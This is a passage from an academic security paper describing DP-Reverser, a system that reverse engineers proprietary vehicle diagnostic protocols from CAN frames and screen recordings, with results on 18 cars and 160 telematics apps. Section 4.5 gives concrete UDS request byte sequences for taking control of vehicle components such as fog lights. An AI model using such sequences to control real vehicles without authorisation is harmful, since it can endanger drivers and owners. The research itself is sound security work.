ECUs/ESVs, we generate a script to control the robotic clicker.
Each target will be mapped to a statement for clicking their
(X, Y) coordinates. After each clicking statement, the gener-
ator inserts a statement that waits for a fixed period of time
to ensure that the diagnostic tool has enough time to react
to the clicking. If the diagnostic tool starts reading ESV or
controlling the component, the waiting time will be relatively
long to get enough data for reverse engineering (e.g., 30 sec-
onds). All the clicking statements and waiting statements are
combined together to generate the script.
Script Executor and Logger. When the robotic clicker is ex-
ecuting the script, it logs the timestamp of each UI clicking so
that we can split the captured CAN frames and recorded video
into multiple parts. When the diagnostic tools are communi-
cating with the vehicle, we sniff the CAN frames exchanged
between the diagnostic tool and the vehicle. To record the
texts shown on UI, camera b is controlled by the “Camera
Timestamp Free” app [25] running on a smartphone to record
video of the UI. The recorded video contains timestamps used
to associate the UI texts with the corresponding CAN frames
because both the CAN frames and the video of UI are needed
for reverse engineering the diagnostic messages.

3.2 Diagnostic Frames Analysis
After getting CAN frames through sniffing, this module as-
sembles the raw payload of diagnostic messages and extracts
the target field of request and response messages. We first fil-
ter out useless frames because they do not contain the payload
of diagnostic messages in Step 1: Screening Frames. Then,
we assemble the raw payload of diagnostic messages because
the transport/network layer protocols transmit long diagnostic
messages through multiple frames in Step 2: Assembling Pay-
load. Finally, we extract the fields from the assembled payload
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Figure 7: ISO 15765-2: Structures of single frame (SF), first
frame (FF), continuous frame (CF), flow control frame (FC),
and flow control mechanism.

because those fields are defined by the vehicle manufacturers
in Step 3: Fields Extraction.
Step 1: Screening Frames. As shown in Fig. 7, for ISO
15765-2 [20], four kinds of frames will be captured: single
frame(SF), first frame(FF), continuous frame(CF), flow con-
trol frame(FC) [20]. We remove the flow control frames (the
first four bits opcode is ‘0x3”) because they are used to notify
the sender the receiver’s properties (e.g., buffer size). They
do not carry the payload of diagnostic messages. The other
three kinds of frames are kept. For VW TP 2.0 [29], we re-
move three kinds of frames (i.e., broadcast, channel setup, and
channel parameters) because they do not contain payload [29].
Only the data transmission frames will be kept because they
contain the payload of the diagnostic messages.
Step 2: Assembling Payload. Since the network/transport
layer protocols split the long diagnostic message into multi-
ple short frames, we combine these short frames to assemble
the raw payload. For ISO 15765-2, different types of frames
are processed separately. If the frame is a single frame, the
payload stored in it is complete and we extract the payload
directly. If the frame is the first frame, the payload stored
in it is incomplete. Thus, we need to first capture the fol-
lowing continuous frames and then assemble the complete
payload by combining the payload of the first frame and the
payloads of continuous frames until the total length reaches
the data length field of the first frame. For VW TP 2.0, the
data transmission frames do not contain the data length fields.
We check their opcodes to determine if the current frame is
the last frame or not. If true (i.e., the current packet is the last
packet), we extract the concatenated payload as the raw pay-
load. Otherwise, we concatenate its payload with the payload
of the next frame.

Wen transmitting long diagnostic messages, we observe
that some vehicles like BMW and Mini Copper do not directly
adopt the ISO 15765-2 protocol. Instead, the first byte of each
CAN frame stores the ID of the target ECU. The remaining
bytes are the payload of the diagnostic message. To correctly
recover the payload of diagnostic messages, we ignore the
first byte and put the remaining bytes together since the ID is
not part of the payload.
Step 3: Fields Extraction. After obtaining the payload of a

diagnostic message, we split the payload into multiple fields
according to the protocol formats described in §2.3. We ex-
tract the local id, DID, ESV and ECR contained in diagnostic
messages because they will be used in discovering their se-
mantic meaning and formulas. For each ECR, we also extract
the IO control parameter and control state from it to discover
the semantic meaning of the control state field.

To extract fields of the diagnostic messages involved in
reading ESV, since the response message of UDS can contain
multiple ESVs and the length of each ESV is not fixed, we
cannot extract these ESVs by only checking the response mes-
sage. To solve this issue, we extract the last request message
sent to the ECU. By using the DIDs contained in the request
message as a reference, we can identify the ESVs in the cor-
responding response message, because the list of DIDs in the
request message also appear in the corresponding response
message with the same order and the field value after each
DID is just the corresponding ESV.

3.3 Screenshot Analysis
Since the texts from the video of the UI contains the semantic
information of the request messages and actual ESVs calcu-
lated by using formulas, we extract them and the timestamps
from the video by using the OCR engine Tesseract [24] which
can automatically convert typed or handwritten content into
machine readable, editable format [23]. We also design a
post-processing step to remove incorrect ECU signal values
because the precision of the OCR engine may not be 100.0%
and some incorrect values will be identified.
UI Text Extraction. We first use MPlayer [21] to transform
the video into a series of images since the OCR engine can
only process one single image at one time. Then, we apply
Tesseract [24] to these images for extracting the text.
Incorrect ESV Value Filtering. Since sometimes the OCR
engine might miss some decimal points (e.g., “25.00” is incor-
rectly identified as “2500”), we propose a two-stage filtration
to remove incorrect ESVs. In the first stage, we set a normal
value range for each type of ESV. For each ESV extracted
by OCR-engine, we check if it is in the pre-defined range
or not [15]. If true, we include it in the data set. Otherwise,
we exclude it. In the second stage, we employ the anomaly
detection (i.e., outlier detection) algorithm [51] to remove
the values that are significantly different from the majority of
the identified ESVs. The reason is that during a short period
of time, the measured ESVs cannot change greatly. In other
words, the “outlier” has a high possibility to be incorrect ones
generated by the OCR engine.

3.4 Request Message Analysis
If the values of fields in request messages and their semantic
information (i.e., functionality) are not defined in the stan-
dards, we recover their semantic information by using the
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texts shown on UI. When reading the ESV through UDS or
KWP 2000, the request message includes the DID (as shown
in Fig. 5) or local identifier (as shown in Fig. 3), which are
customized by the manufacturers. When controlling vehicle
components with UDS, the request message also includes
DID of the target component(as shown in Fig. 4). To obtain
the semantic meaning of the DID or local identifier in the
request message, we extract the types of ESVs displayed on
UI or the type of controlled component shown on UI.

3.5 Response Message Analysis

When parsing the response message of UDS and KWP 2000,
if it contains ESV, the diagnostic tool uses proprietary for-
mulas to transform the ESV in response to ESV displayed on
UI. To infer these formulas, since both the ESV in response
messages and the ESV displayed on UI keep changing, we
first need to correlate them. Then, we design an improved
genetic programming algorithm to infer the formulas. We
do not employ the linear regression to infer the formula [71]
because the linear regression can only infer linear formulas
(e.g., Y = a ∗X + b) [62] and it cannot infer the nonlinear
formulas (e.g., Y = X0 ∗X0) [32].
Step 1: Constructing the mapping between ESV in diag-
nostic messages and ESV displayed on UI. We create a data
set that contains a series of data pairs (i.e., (X ,Y )) according
to the timestamps in the video and the captured CAN frames.
Each data pair contains one ESV extracted from diagnostic
messages (i.e., X) and the ESV extracted from UI (i.e., Y ).

For each ESV extracted from the diagnostic message (i.e.,
X), we get the timestamp of receiving the message (i.e.,
timetra f f ic). Then, we timetra f f ic to search the nearest times-
tamp displayed on UI (timeui). By using timeui, we can iden-
tify the corresponding actual ESV displayed on UI (i.e., Y ).
We combine X and Y to get a value pair (X ,Y ) and add it
to the data set. Note that, each ESV X is an integer value
for UDS and each ESV contains two integer values for KWP
2000 (i.e., X0 and X1 mentioned in §2.3.1).

The alignment of diagnostic messages and screenshots of
UI is important for correctly inferring the formulas. Before
starting the data collection, we adopt two methods to ensure
the alignment of diagnostic messages and screenshots of UI.
One is to use NTP protocol [64]. The other is to use the well-
documented OBD-II protocol [34]. We described the details
of the alignment in §9.4.
Step 2: Inferring the formula through genetic program-
ming. Based on the data set, we search the space of mathe-
matical expressions to find the model that best fits the data
set. That is, based on a series of independent variables (i.e.,
ESV in diagnostic messages, X) and their dependent variable
targets (i.e., ESV displayed on UI, Y ), we want to find out the
formula (i.e., f ) that allows f (X) = Y . In the machine learn-
ing field, this task is called “Symbolic Regression” [16]. We
apply genetic programming (GP) to solve this problem [30]

because GP can handle both arithmetic operators (i.e., addi-
tion, subtraction, division and multiplication) and nonlinear
functions (e.g., square root, log, sine, tangent).

GP uses syntax trees to represent the formulas (e.g., a ∗
a+b), where the functions are interior nodes (e.g., ∗, +) and
the variables/constants are the leaves of the trees (e.g., a, b).
GP will change the randomly generated formulas in multiple
generations and select the one that has the highest fitness
score (i.e., most close to f (X) = Y ). Starting from a few
randomly generated formulas, GP selects the fittest individuals
and leverage evolution (i.e., Crossover and Mutation) to get
the next generation of formulas. The evolution process repeats
until one stopping criteria is satisfied. Two kinds of stopping
criteria are usually used: (i) the number of evolution has
reached the maximum number of generations. (ii) the fitness
of one of the latest formula has reached the threshold. The
fitness (similar to “error” or “loss” in machine learning) of one
formula is calculated using functions such as “mean absolute
error” or “mean squared error”.

Table 2: Pre-processing of the data set and post-processing of
the variables contained in the formulas inferred by GP.

ESV in response messages (X) ESV displayed on UI (Y)

Range Pre-process
Formula

Post-processing Pre-process
Formula

Post-processing
> 104 X ′ = X/104 Replace(X ′, X/104) Y ′ = Y/104 Replace(Y ′, Y/104)

103-104 X ′ = X/103 Replace(X ′, X/103) Y ′ = Y/103 Replace(Y ′, Y/103)
102-103 X ′ = X/100 Replace(X ′, X/100) Y ′ = Y/100 Replace(Y ′, Y/100)
10-102 X ′ = X/10 Replace(X ′, X/10) Y ′ = Y/10 Replace(Y ′, Y/10)
0.1-1.0 - - Y ′ = Y ∗10 Replace(Y ′, Y ∗10)

10−2-10−1 - - Y ′ = Y ∗100 Replace(Y ′, Y ∗100)
10−3-10−2 - - Y ′ = Y ∗103 Replace(Y ′, Y ∗103)
< 10−3 - - Y ′ = Y ∗104 Replace(Y ′, Y ∗104)

Step 3: Pre-processing of the data set and post-processing
of the formula. When using GP to infer formulas, we find that
the correctness of the output is affected by the ranges of ESV
displayed on UI (i.e., variable targets, Y in Tab. 2). For exam-
ple, if most values of Y are extremely small (e.g.,< 0.0001),
GP will directly set a constant value as the formula (e.g.,
Y = 0.0001). In this case, the fitness score (e.g., “mean ab-
solute error”) is smaller than the pre-defined threshold and
the evolution process stops. Moreover, if most Y values are
extremely large (e.g., > 1000), GP will generate complex for-
mulas to decrease the distance between f (X) and Y .

Our manual testing shows that when most absolute values
of X and Y are in the range 1.0 to 10.0, the output of GP
achieves the highest accuracy. Thus, before using the GP to
process (X ,Y ) pairs in the data set, we first check the absolute
values of Y to determine if they should be reduced or enlarged:
If more than half of the absolute values of Y are larger than 10
(smaller than 1), we think these Y values should be reduced
(enlarged). In this case, we replace each Y value in the data
set with a new value Y ′, which is equal to Y ∗ a, where a is
the reduced or enlarged factor. We combine the new (X , Y ′)
pairs to construct a data set and infer the formula f (X) = Y ′.
After getting the formula f (X) = Y ′, we replace the variable
“Y ′” with “Y ∗a” to get the formula “ f (X) =Y ∗a”, which de-

1946    31st USENIX Security Symposium USENIX Association



scribes the relation between X and Y . For example, as shown
in Tab. 2, if most absolute values of Y are in range 103 to 104,
we divide each value with 103 (i.e., Y ′). If the inferred formula
is Y ′ = X , we replace variable “Y ′” with “Y/103” (i.e., the
final formula is Y/103 = X).

For the X values in the data set, we process them with the
same method to ensure that most new X ′ values are in the
range 1.0 to 10.0. Because all of X values are integer (i.e.,
larger than 1.0), we only check if they should be reduced or
not (“ESV in response messages (X)” in Tab. 2).

4 Experiment

We conduct a large-scale experiment to evaluate DP-Reverser
and answer the following research questions:
Q1: Can the OCR engine correctly extract text from the UI
of diagnostic tools? (§4.1)
Q2: For the frames of reading ESVs through OBD-II protocol,
can DP-Reverser correctly recover their formulas? (§4.2)
Q3: For the frames of reading ESVs through UDS and KWP
2000 protocols, can DP-Reverser correctly recover the formu-
las and semantic information? (§4.3)
Q4: How is the performance of alternative algorithms to infer
the formulas of UDS and KWP 2000? (§4.4)
Q5: For the CAN frames of controlling the vehicle compo-
nents, can DP-Reverser correctly recover the semantic infor-
mation of request messages? (§4.5)
Q6: How many telematics apps contain the formulas of diag-
nostic protocols? (§4.6)

Table 3: Vehicles and diagnostic tools used in experiments

Car Vehicle Model Protocol Diagnostic Tools
Car A Skoda Octavia UDS LAUNCH X431
Car B Volkswagen Magotan KWP 2000 VCDS
Car C Volkswagen Lavida KWP 2000 LAUNCH X431
Car D Lexus NX300 UDS Techstream
Car E Mini Copper R56 UDS AUTEL 919
Car F Mini Copper R59 UDS AUTEL 919
Car G BMW i3 UDS AUTEL 919
Car H RongWei MARVEL X UDS AUTEL 919
Car I Changan Eado UDS AUTEL 919
Car J BMW 532Li UDS AUTEL 919
Car K Volkswagen Passat KWP 2000 AUTEL 919
Car L Toyota Corolla UDS AUTEL 919
Car M Peugeot 308 UDS AUTEL 919
Car N Kia k2 (UC) UDS AUTEL 919
Car O Ford Kuga UDS AUTEL 919
Car P Honda Accord UDS AUTEL 919
Car Q Nissan Teana UDS AUTEL 919
Car R Audi A4L UDS AUTEL 919

To answer these questions, we use 18 vehicles listed in
Tab. 3 to conduct experiments. We use four diagnostic tools
to interact with these vehicles: (1) Two professional hand-
held diagnostic equipment (i.e., LAUNCH X431 [80] and

AUTEL 919 [36]). (2) Two professional diagnostic software
(i.e., VCDS [72] and Techstream [37]).

4.1 Precision of the OCR engine
Approach: We use a camera to record the video of the screens
of two diagnostic tools (i.e., AUTEL 919 and LAUNCH
X431) and then check if the OCR engine can correctly extract
the text from the pictures transformed from the video.
Result: The result is shown in Tab. 4. We find that the pre-
cision of the OCR engine reaches 97.6% for AUTEL 919
and 85.0% for LAUNCH X431. The reason is that the screen
of AUTEL 919 is larger with better resolution than that of
LAUNCH X431.

Table 4: Performance of OCR engine
Diagnostic Tool #Total Pics #Correct Pics Precision

AUTEL 919 500 488 97.6%
LAUNCH X431 500 425 85.0%

Answer of Q1: The precision of the OCR engine reaches
97.6% for AUTEL 919 and 85.0% for LAUNCH X431.

4.2 Result of OBD-II Frames
Approach: To measure the effectiveness of DP-Reverser, we
test the ESV in the OBD-II protocol because the standard has
defined the formula of each ESV, which serves as the ground
truth. We use one vehicle simulator, which supports OBD-II
protocol, to generate the diagnostic messages, and employ an
OBD telematics app “ChevroSys Scan Free” to read ESVs
from the vehicle simulator. After recording the video of the
UI and capturing the diagnostic messages sent or received by
the app, DP-Reverser reverse engineers the formulas. Finally,
we verify the correctness of the obtained formulas with the
OBD-II standard (i.e., ground truth).
Result: For the 7 types of ESVs of OBD-II protocol listed in
Tab. 5, DP-Reverser correctly recover all formulas.

For the first three types of ESVs, the recovered formulas
are the same as that of ground truth. For the fourth ESV En-
gine Speed (RPM), the formula of ground truth contains two
variables (i.e., X0 and X1). Although the output of our sys-
tem only contains one variable (i.e., X0), our result is correct
because the real values of X1 are all 128 in real diagnostic
messages. Thus, the formula of ground truth can be simplified
to Y = 64X0 +32.

For last three types of ESVs, the ground truth includes two
formulas for each ESV because the ESV has two possible units.
However, DP-Reverser identifies one formula for each ESV,
because the app only uses one formula to parse the response
messages. Moreover, for Engine Coolant Temperature, the
formula of ground truth Y = 1.8X − 40 and the output of
our system Y = 1.7X − 22 look different. However, since
the values of X in traffic are in the range 0xA0-0xC0 (i.e.,
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Table 5: Result of reverse engineering the formulas of OBD-II
protocol: the request messages, the formulas in ground truth,
and the formulas inferred by DP-Reverser.

ESV
Request
Message

Formula
Ground Truth

Formula (GP)
System Output

Absolute Throttle
Position 01 11 Y = X

2.55
Y
10 = (X/100)

0.255

Calculated
Engine Load 01 04 Y = X

2.55
Y
10 = X/100

0.255

Fuel Tank
Level Input 01 2F Y = 0.392∗X Y

100 = 0.389∗ X
100

Engine Speed
(RPM) 01 0C Y =

256∗X0+X1
4 Y = 64X0 +32

Vehicle Speed
(Km/h or Mile/h) 01 0D Y = X or

Y = 0.621∗X
Y

100 = 0.619∗ X
100

Engine Coolant
Temperature(oC or oF) 01 05 Y = X−40 or

Y = 1.8∗X−40 Y = 1.7∗X−22

Intake Manifold Absolute
Pressure(KPa or inHg) 01 0B Y = X or

Y = X/3.39
Y
10 = X

100 /0.335

160-192), the output of the formula in the ground truth (i.e.,
Y = 1.8X − 40) is in the range 248-305. The output of the
recovered formula (i.e., Y = 1.7X −22) is in the range 250-
304.4. Thus, the output of these two formulas are almost the
same, and we regard the output of GP as a correct one.
Answer of Q2: The result shows that, for the CAN frames of
reading 7 types of ESVs with OBD-II protocol, the precision
of reverse engineering is 100%.

4.3 Result of UDS and KWP 2000 Frames
Approach: For the ESVs of UDS, we manually analyze the
frames and the corresponding actual ESVs shown on UI to
extract the data identifiers (i.e., DIDs) and infer the formulas.
These DIDs and formulas are used as the ground truth. For
the ESVs of KWP 2000, we use a document containing the
formulas KWP 2000 (provided by an experienced vehicle
researcher) as the ground truth. Since some ESVs do not have
formulas (e.g., the door status is open or closed), we only
extract the DID or local identifier used in the request message
(i.e., no formula can be extracted). To verify the correctness
of inferred formulas, we conduct an additional experiment by
using the ESVs displayed on the dashboard of real vehicles
as the ground truth.
Result: In total, we select 446 ESVs from these 18 vehicles.
For these ESVs, 290 of them contain formulas used when
parsing the response messages. Other 156 ESVs do not have
formulas (e.g., the door is open or closed). Tab. 6 lists the
precision of reverse engineering formulas with GP .

Overall, the precision of GP reaches 98.3%. Note that if
the coefficient in one inferred formula is very close to that of
the ground truth, we regard the inferred formula as a correct
one. The slight difference between the coefficient of inferred
formulas and the coefficient of ground truth is generated due
to two reasons: (i) There is a time interval between the time
receiving the response message and the time displaying the

Table 6: Result of ESV analysis: Number of ESVs with formu-
las (i.e., column “#ESV (formula)”), number of ESVs that GP
can infer formulas correctly (i.e., column “#Correct ESV”),
precision of inferring formulas with GP (i.e., column “Preci-
sion”), and the number of ESVs without formulas (i.e., column
“#ESV (Enum)”).

Car #ESV #Correct ESV Precision #ESV
(formula) (Enum)

Car A 28 28 100.0% 0
Car B 8 7 87.5% 0
Car C 5 5 100.0% 0
Car D 12 12 100.0% 5
Car E 5 5 100.0% 4
Car F 8 8 100.0% 5
Car G 5 4 80.0% 22
Car H 5 5 100.0% 13
Car I 11 9 81.8% 0
Car J 20 20 100.0% 20
Car K 41 41 100.0% 0
Car L 29 28 96.6 % 20
Car M 4 4 100.0% 14
Car N 26 26 100.0% 19
Car O 18 18 100.0% 9
Car P 7 7 100.0% 6
Car Q 18 18 100.0% 17
Car R 40 40 100.0% 2
Total 290 285 98.3% 156

ESV on the device screen. For some (X ,Y ) pairs in the dataset,
X comes from the latest received message and Y has not been
updated. (ii) The stopping criterion of GP defines that if the
fitness of one latest formula has reached the threshold, the GP
will stop evolution.

Although some inferred KWP 2000 formulas are quite
different from that of ground truth, manual verification reveals
that they are equal when implemented in systems. We use two
ESVs to explain the reason.
. Vehicle Speed: The formula of ground truth contains two
variables (i.e., X0, X1). But the formula inferred by GP only
contains one (i.e., X1). The reason is that, in frames, the values
of X0 are all 0x64 (i.e., 100). The formula of ground truth will
be transformed to Y = X1 when X0 is constant value 100.
. Torque Assistance: In frames, X1 has two possible val-
ues (i.e., 0x7F and 0x81). The formula in ground truth will
change to Y = X0 ∗ (−0.001) and Y = X0 ∗ 0.001, respec-
tively. Moreover, the formula generated by GP will be Y =
X0 ∗ (−1.03/1000) and Y = X0 ∗ (0.97/1000). Thus, the for-
mulas in ground truth and GP are still the same.
Cause of inconsistency. We find that the inferred formula
of lateral acceleration contains only one variable (i.e., X1)
whereas the formula of ground truth contains two variables
(i.e., X0 and X1). This inconsistency is caused by the data in
the collected frames. More precisely, in these frames, all the
values of variable X0 is 0x00. Thus, the genetic programming
regards the values of X0 as constant and the inferred formula
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only uses another variable X1.
Result validation with real vehicles. Since the real vehicles
display some ESVs on their dashboards, we can use them
as the ground truth of reverse engineering. In detail, we use
the diagnostic tools to read ESVs from the vehicles and then
combine the diagnostic messages and the inferred formulas to
obtain the possible ESVs shown on dashboards. We compare
the possible ESVs with the ESVs displayed on the dashboards
(recorded by camera) to check the correctness of the inferred
formulas. We use four real vehicles in this validation exper-
iment. The result in Tab. 7 shows that the inferred formulas
are correct for all these vehicles.

Table 7: Result of using real vehicles to evaluate the correct-
ness of reverse engineering the formulas of ESVs.

Vehicle ESV Formula (GP) Same
on vehicle dashboards System Output or not

Car F Engine speed Y = X
√

Car K Engine speed Y = X0 ∗X1/5
√

Car L Coolant Temperature Y = 0.5X
√

Car R Engine speed Y = 64.1X0 +0.241X1
√

Time cost. We measure the average time needed by genetic
programming to infer the formulas. The result listed in Tab. 8
shows that it costs about 201.40 and 192.19 seconds to infer
UDS and KWP 2000 formulas, respectively. One reason may
be that we set the maximum number of generations to 30
and each generation contains 1000 formulas to calculate their
fitness score (‘mean absolute error’). To shorten the time, we
will decrease the maximum number of generations and the
number of formulas in each generation in future work.

Table 8: Average time cost of inferring formulas (seconds).

Protocol Genetic Linear Polynomial
Programming Regression Curve Fitting

UDS 201.40 0.0009 0.0004
KWP 2000 192.19 0.0017 0.0006

Answer of Q3: The result shows that, for the frames of read-
ing 290 types of ESVs with UDS or KWP 2000, the precision
of reverse engineering is 98.3%.

4.4 Comparion with Alternative Algorithms
for Formula Inferring

Approach: Previous research LibreCAN [71] enhances
READ [60] to identify the fields contained in the CAN mes-
sages transmitted between ECUs. It shows that linear regres-
sion can be used to find the relation between these fields
and OBD sensors. Since READ [60] does not consider the

transmission layer protocol, it cannot correctly identify the
payload of a long diagnostic message before analyzing it. We
examine this issue and evaluate the precision of using linear
regression and polynomial curve fitting [63] to infer formulas
for comparison.
Result: We describe the result from two aspects: (1) Necessity
of payload recovering; (2) Precision of linear regression and
polynomial curve fitting.
(1) Necessity of payload recovering. A long diagnostic mes-
sage will be transmitted through multiple CAN messages.
Recovering the raw payload of a diagnostic message is the
first step before analyzing it. To measure the percentage of
CAN messages that should leverage the transport/network
layer protocol to assemble the payload, we examine the num-
ber (percentage) of each type of messages contained in UDS
and KWP 2000 traffic.

For UDS, we analyze the CAN messages of Car A (Skoda
Octavia). The captured traffic contains 31,963 messages.
Half of them (i.e., 17,601/31,963=55.1%) are single frames.
The multi-frame messages (i.e., first frames and continu-
ous frames) account for 32.0% (i.e., 10,213/31,963=32.0%).
Other frames are flow control frames.

For KWP 2000, we analyze the CAN messages of Car
B (Volkswagen Magotan) and C (Volkswagen Lavida) since
they implemented KWP 2000. The collected traffic contains
4,556 messages in total. We find that 3,425 (i.e., 75.2%) of
them needs to wait for the next frames. The remaining 1,131
messages (i.e., 24.8%) are the last frames of multi-frame
messages (i.e., do not need to wait for next frames).

The result shows that, for UDS, 32.0% CAN messages must
be processed by payload recovering. For KWP 2000, 75.2%
CAN messages must be processed by payload recovering.
Otherwise, we cannot extract fields from them.

Table 9: Number/Percentage of single frames and multi-
frames in UDS and KWP 2000 traffic.

Protocol # Single # Multi # Total
Frames Frames Frames

UDS 17,601 (55.1%) 10,213 (32.0%) 31,963
KWP 2000 1,131 (24.8%) 3,425 (75.2%) 4,556

(2) Precision of linear regression and polynomial curve fitting.
The performance of linear regression and polynomial curve
fitting is shown in Tab. 10. Overall, the precision of linear
regression reaches 43.8% and that of polynomial curve fitting
achieves 32.1%. In contrast, the GP algorithm employed by
our system has a much better precision (i.e., 98.3%).
Cause of inconsistency. Manual investigation shows that GP
outperforms linear regression and polynomial curve fitting
due to the following reasons:

(i) Some outliers are generated if the OCR engine fails
to correctly extract sensor values from the screenshots. For
example, in one screenshot, the actual ESV is “3.7”, but the

USENIX Association 31st USENIX Security Symposium    1949



Table 10: Precision of inferring formulas of UDS and KWP
2000 with linear regression (i.e., column “#Correct ESV (Lin-
ear Reg)”) and polynomial curve fitting (i.e., column “#Cor-
rect ESV (Polynomial)”).

Car #ESV #Correct ESV # Correct ESV
(formula) (Linear Reg) (Polynomial)

Car A 28 14 20
Car B 8 2 1
Car C 5 1 2
Car D 12 10 8
Car E 5 3 2
Car F 8 4 3
Car G 5 2 2
Car H 5 5 3
Car I 11 9 6
Car J 20 11 8
Car K 41 2 0
Car L 29 25 12
Car M 4 4 2
Car N 26 14 11
Car O 18 11 6
Car P 7 3 3
Car Q 18 7 4
Car R 40 34 28
Total 290 127 93

OCR engine outputs “8.0”. Another screenshot contains ac-
tual ESV “11.4”, but the OCR engine only extracts “4” from
it. Due to the incorrect sensor values, the factor related to the
variable of the inferred formula is affected, which is much
smaller than that of ground truth. We observe that GP is more
robust than linear regression. Other studies also show that GP
is robust to outliers/noise [40, 44, 52].

(ii) Linear regression can only infer linear formulas and
polynomial curve fitting can only find polynomial formulas.
For KWP 2000 protocol, if the formula has two variables
(i.e., X0 and X1), the linear formulas can be represented as
Y = β0X0 +β1X1 +X2. However, if the formulas of ground
truth contain non-linear elements, linear regression cannot
identify them. An example is “Engine Speed (RPM)” (i.e.,
Y = X0 ∗X1/5). Linear regression can only obtain the formula
Y = 0.45X0 + 17.85X1 + 498.47. Polynomial curve fitting
can find one formula Y = 0.032X0 ∗X1− 10X0 + 64.52X1 +
0.04X2

0 − 0.46X2
1 − 215. This formula contains X0 ∗X1, but

its coefficient is much smaller than that in the ground truth
(i.e., 0.2). GP can handle these non-linear formulas since it
uses syntax trees to represent the formulas. Both linear and
non-linear formulas can be inferred.

Time cost. Although the linear regression and polynomial
curve fitting cannot achieve high precision when inferring
formulas, their time cost is much smaller than that of GP (i.e.,
Tab. 8, less than one second for each ESV), because they do
not need to iterate a large number of times.

Answer of Q4: The result shows that, 32.0% CAN frames
for UDS and 75.2% CAN frames for KWP 2000 must be pro-
cessed by payload recovering. Otherwise, the fields in them
cannot be extracted. Moreover, when inferring formulas, the
linear regression algorithm only achieves 43.8% precision
and the polynomial curve fitting only achieves 32.1% preci-
sion. Their precision is much lower than that of DP-Reverser.

4.5 Result of Reverse Engineering ECR
Approach: We test controlling components of vehicles by
using the IO control service or input output control via locali-
dentifier service. We analyze the captured frames to infer the
procedure of sending different types of request messages.
Result: In total, we extracted 124 ECRs from 10 vehicles.
Five of them use IO control service of UDS (service ID is
“2F”) and other five of them use input output control via local
identifier service of KWP 2000 (service ID is “30”). We list
the number of identified ECRs of each vehicle in Tab. 11.

Table 11: Number of ECRs extracted from vehicles.

Car #ECR Service ID Car #ECR Service ID
Car A 11 2F Car D 5 30
Car E 3 30 Car F 5 30
Car H 6 2F Car I 10 2F
Car J 27 30 Car N 21 2F
Car O 4 2F Car Q 32 30

Although these components have different DIDs or local
IDs, their control procedures have similar patterns. To con-
trol one component (e.g., window or light), the controller
should send three request messages. If the component sends
one positive response message for each request message, the
component can be controlled successfully.
First Request: The controller sends the “Freeze current state”
message. The format is “2F {DID: 2 bytes} 02”. The last
byte 0x02 is the IO control parameter, which means freeze
current state (i.e., prepare to control). For example, the first
step of controlling the fog light is sending the request message
“2F 09 50 02”. When controlling other components of the
vehicle, we just need to change the values of DIDs.
Second Request: The controller sends the “Short term ad-
justment” message. The format is “2F {DID: 2 bytes} 03
{control state: n bytes}”. The byte 0x03 is the first byte
of ECR (i.e., IO control parameter), which means short term
adjustment (i.e., start controlling). Followed by the control
state. For example, to light up the fog lights on the left
hand for 5 seconds, the request message is “2F {DID: 09 50}
03 {control state: 05 01 00 00}”. To control the fog
lights on the right hand for 3 second, the request message
is “2F {DID: 09 50} 03 {control state: 03 00 00 00}”.
Only 2 bytes in the control state are modified (one byte for
the time duration of control and one byte for left/right side).
Third Request: The controller sends the “Return control to
ECU” message. The format is “2F {DID: 2 bytes} 00”. The
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last byte 0x00 is the IO control parameter, which means return
control to ECU (i.e., the control is finished). For example, after
controlling the fog light, sending the request message “2F 09
50 00” returns the control to the ECU.
Answer to Q5: For the 124 ECRs of ten vehicles, we cor-
rectly extracted all ECRs. We also find that three messages
are required to control each vehicle component by using the
IO control service.

4.6 Formulas Extracted from Apps
Approach: When processing the response messages, if one
response message contains ESV, the telematics apps may
also use a formula to transform it to actual ESV. To extract
these formulas, we analyze 160 telematics apps: 38 apps are
downloaded from Google Play by searching the keywords
“vehicle diagnostic” and “vehicle OBD”. We also include all
122 apps from the data set of CANhunter [83].

For each app, we identify the data buffer that stores the
response message by calling framework APIs (e.g., Input-
Stream.read()). Then, we perform forward taint analysis on
the data buffer to identify the statements that process the
response message. If the statement includes mathematical
operators (e.g., +, ∗), we extract the formula from the state-
ment. We also extract the condition of using the formula by
utilizing the control dependency relation to identify the depen-
dent branch statement and then analyzing the constant values
contained in the branch statement. (More details in §9.2).
Result: Tab. 12 lists the number of formulas discovered from
apps. We only find three apps containing the formulas used
to process the response messages of UDS and KWP 2000.
In “Carly for VAG”, we obtain 90 UDS formulas and 137
KWP 2000 formulas. For example, if the DID is 0xF43C,
the corresponding formula is Y = 0.1X − 40. In “Carly for
Mercedes”, we extract 1624 UDS formulas and 468 KWP
2000 formulas. In “Carly for Toyota”, we get 7 KWP 2000
formulas. For example, if the request message is “21 1A”, the
formula Y = X is used to obtain the vehicle model speed.

Our tool discovers 12 apps containing formulas of OBD-II
protocol. Note that the standard of OBD-II [34] has defined
these formulas (e.g., engine coolant temperature Y = X−40).
Our system can also reverse engineer them. Manual inspection
of the result reveals that the formulas in 13 apps cannot be
extracted due to multiple reasons. For example, the request
message is sent by subclass and the response message is
parsed by the parent class, or the app only checks partial
bytes of response messages to determine the used formula.

We do not discover any KWP 2000 or UDS formulas from
other apps. One reason is that although some apps send re-
quest messages of KWP 2000 or UDS, they only use them
to read/clear DTC or read freeze frame (i.e., they do not use
KWP 2000 or UDS to read ESV). Moreover, since most vehi-
cles support OBD-II protocol, some apps only send request
messages of OBD-II protocol to read ESV.

Table 12: Telematics apps containing formulas.

APP Name Formula Type # Formula
Carly for VAG UDS 90

KWP 2000 137
Carly for Mercedes UDS 1624

KWP 2000 468
Carly for Toyota KWP 2000 7
inCarDoc OBD-II 82
Car Computer - Olivia Drive OBD-II 74
CarSys Scan OBD-II 64
Easy OBD OBD-II 55
inCarDoc Pro OBD-II 49
OBD Boy(OBD2-ELM327) OBD-II 45
FordSys Scan Free OBD-II 42
ChevroSys Scan Free OBD-II 40
ToyoSys Scan Free OBD-II 40
Obd Mary OBD-II 34
OBD2 Boost OBD-II 34
Obd Harry Scan OBD-II 28
Obd Arny OBD-II 27
MOSX OBD-II 24
Dr Prius Dr Hybrid OBD-II 22
Dacar Pro OBD2 OBD-II 21
OBD2 Scanner Fault Codes Desc OBD-II 16
Dacar Pro OBD2 OBD-II 14
Engie Easy Car Repair OBD-II 8
PHEV Watchdog OBD-II 8
Torque Lite(OBD2&Car) OBD-II 5
Kiwi OBD OBD-II 3
OBDclick OBD-II 2
Dr Prius Dr Hybrid OBD-II 1
Fuel Economy for Torque Pro OBD-II 1

We also investigate the number of ECUs and ESVs that can
be obtained from professional diagnostic tools and telematics
apps by using two vehicles (i.e., VW Passat, Toyota Corolla).
